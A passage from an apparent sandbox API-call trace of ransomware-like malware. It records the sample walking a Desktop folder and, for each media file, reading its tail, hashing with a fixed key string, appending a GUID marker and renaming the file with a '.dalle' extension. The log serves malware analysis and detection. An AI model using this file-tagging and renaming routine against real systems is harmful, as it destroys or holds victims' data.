cAlternateFileName="")) returned 0x3008f60 [0121.035] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dec1310, ftCreationTime.dwHighDateTime=0x1d4d58f, ftLastAccessTime.dwLowDateTime=0xafba5f40, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xafba5f40, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.035] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a1c370, ftCreationTime.dwHighDateTime=0x1d4c72d, ftLastAccessTime.dwLowDateTime=0x411acde0, ftLastAccessTime.dwHighDateTime=0x1d4d2bb, ftLastWriteTime.dwLowDateTime=0x411acde0, ftLastWriteTime.dwHighDateTime=0x1d4d2bb, nFileSizeHigh=0x0, nFileSizeLow=0xd69, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bewfSQ65DCd3I.mkv", cAlternateFileName="BEWFSQ~1.MKV")) returned 1 [0121.035] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\bewfSQ65DCd3I.mkv") returned=".mkv" [0121.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\bewfSQ65DCd3I.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\bewfsq65dcd3i.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.036] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=3433) returned 1 [0121.036] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.038] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.038] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.039] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd69, lpOverlapped=0x0) returned 1 [0121.039] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.039] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.039] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.040] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0121.040] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.040] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.040] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.040] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.040] GetLastError () returned 0x0 [0121.040] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.041] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0121.041] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.041] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.041] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.041] CloseHandle (hObject=0x618) returned 1 [0121.042] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\bewfSQ65DCd3I.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\bewfsq65dcd3i.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\bewfSQ65DCd3I.mkv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\bewfsq65dcd3i.mkv.dalle")) returned 1 [0121.042] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.042] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.043] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.043] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aa77770, ftCreationTime.dwHighDateTime=0x1d4d1b4, ftLastAccessTime.dwLowDateTime=0x4b651780, ftLastAccessTime.dwHighDateTime=0x1d4c88c, ftLastWriteTime.dwLowDateTime=0x4b651780, ftLastWriteTime.dwHighDateTime=0x1d4c88c, nFileSizeHigh=0x0, nFileSizeLow=0x17138, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BgXRSx7UFqKOmFFcD3.avi", cAlternateFileName="BGXRSX~1.AVI")) returned 1 [0121.043] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\BgXRSx7UFqKOmFFcD3.avi") returned=".avi" [0121.043] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\BgXRSx7UFqKOmFFcD3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\bgxrsx7ufqkomffcd3.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.044] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=94520) returned 1 [0121.044] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.045] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17112, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.045] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.047] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x17138, lpOverlapped=0x0) returned 1 [0121.048] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.048] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.048] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.048] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0121.049] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.049] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.049] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.049] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.049] GetLastError () returned 0x0 [0121.049] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.049] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0121.049] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.050] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17138, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.050] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.050] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.050] CloseHandle (hObject=0x618) returned 1 [0121.051] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\BgXRSx7UFqKOmFFcD3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\bgxrsx7ufqkomffcd3.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\BgXRSx7UFqKOmFFcD3.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\bgxrsx7ufqkomffcd3.avi.dalle")) returned 1 [0121.051] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.051] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.052] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.052] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b91f200, ftCreationTime.dwHighDateTime=0x1d4c56c, ftLastAccessTime.dwLowDateTime=0x7c8e9b30, ftLastAccessTime.dwHighDateTime=0x1d4d087, ftLastWriteTime.dwLowDateTime=0x7c8e9b30, ftLastWriteTime.dwHighDateTime=0x1d4d087, nFileSizeHigh=0x0, nFileSizeLow=0xcd68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E6tpFg5YUih.mkv", cAlternateFileName="E6TPFG~1.MKV")) returned 1 [0121.052] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\E6tpFg5YUih.mkv") returned=".mkv" [0121.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\E6tpFg5YUih.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\e6tpfg5yuih.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.053] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=52584) returned 1 [0121.053] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.055] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcd42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.055] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.056] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xcd68, lpOverlapped=0x0) returned 1 [0121.057] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.057] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.057] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.057] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0121.058] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.058] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.058] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.058] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.058] GetLastError () returned 0x0 [0121.058] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.058] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0121.058] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.058] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcd68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.058] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.058] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.059] CloseHandle (hObject=0x618) returned 1 [0121.059] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\E6tpFg5YUih.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\e6tpfg5yuih.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\E6tpFg5YUih.mkv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\e6tpfg5yuih.mkv.dalle")) returned 1 [0121.060] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.060] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.061] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.061] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf283d140, ftCreationTime.dwHighDateTime=0x1d4cbf8, ftLastAccessTime.dwLowDateTime=0x8da81c20, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x8da81c20, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x152e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nUY4nxCO FfN6j.gif", cAlternateFileName="NUY4NX~1.GIF")) returned 1 [0121.061] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\nUY4nxCO FfN6j.gif") returned=".gif" [0121.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\nUY4nxCO FfN6j.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\nuy4nxco ffn6j.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.062] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=86752) returned 1 [0121.062] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.064] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x152ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.064] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.065] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x152e0, lpOverlapped=0x0) returned 1 [0121.066] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.066] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.066] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.066] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0121.067] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.067] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.067] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.067] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.067] GetLastError () returned 0x0 [0121.067] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.067] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0121.067] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.068] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x152e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.068] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.068] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.068] CloseHandle (hObject=0x618) returned 1 [0121.069] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\nUY4nxCO FfN6j.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\nuy4nxco ffn6j.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\nUY4nxCO FfN6j.gif.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\nuy4nxco ffn6j.gif.dalle")) returned 1 [0121.072] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.072] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.073] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.073] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fe02130, ftCreationTime.dwHighDateTime=0x1d4c9d8, ftLastAccessTime.dwLowDateTime=0x5175f9d0, ftLastAccessTime.dwHighDateTime=0x1d4ccda, ftLastWriteTime.dwLowDateTime=0x5175f9d0, ftLastWriteTime.dwHighDateTime=0x1d4ccda, nFileSizeHigh=0x0, nFileSizeLow=0x1d2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uU1kKYvSH0B.flv", cAlternateFileName="UU1KKY~1.FLV")) returned 1 [0121.073] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\uU1kKYvSH0B.flv") returned=".flv" [0121.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\uU1kKYvSH0B.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\uu1kkyvsh0b.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.074] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=7470) returned 1 [0121.074] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.075] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1d08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.076] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.077] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1d2e, lpOverlapped=0x0) returned 1 [0121.078] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.078] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.078] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.078] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0121.079] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.079] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.079] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.079] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.079] GetLastError () returned 0x0 [0121.079] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.079] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0121.079] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.079] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1d2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.079] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.079] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.080] CloseHandle (hObject=0x618) returned 1 [0121.080] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\uU1kKYvSH0B.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\uu1kkyvsh0b.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\uU1kKYvSH0B.flv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\uu1kkyvsh0b.flv.dalle")) returned 1 [0121.081] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.081] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.082] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.082] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924e3a0, ftCreationTime.dwHighDateTime=0x1d4cba2, ftLastAccessTime.dwLowDateTime=0xc35e3830, ftLastAccessTime.dwHighDateTime=0x1d4c750, ftLastWriteTime.dwLowDateTime=0xc35e3830, ftLastWriteTime.dwHighDateTime=0x1d4c750, nFileSizeHigh=0x0, nFileSizeLow=0x10039, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X SffuOAF0TL.avi", cAlternateFileName="XSFFUO~1.AVI")) returned 1 [0121.082] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\X SffuOAF0TL.avi") returned=".avi" [0121.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\X SffuOAF0TL.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\x sffuoaf0tl.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.082] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=65593) returned 1 [0121.082] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, 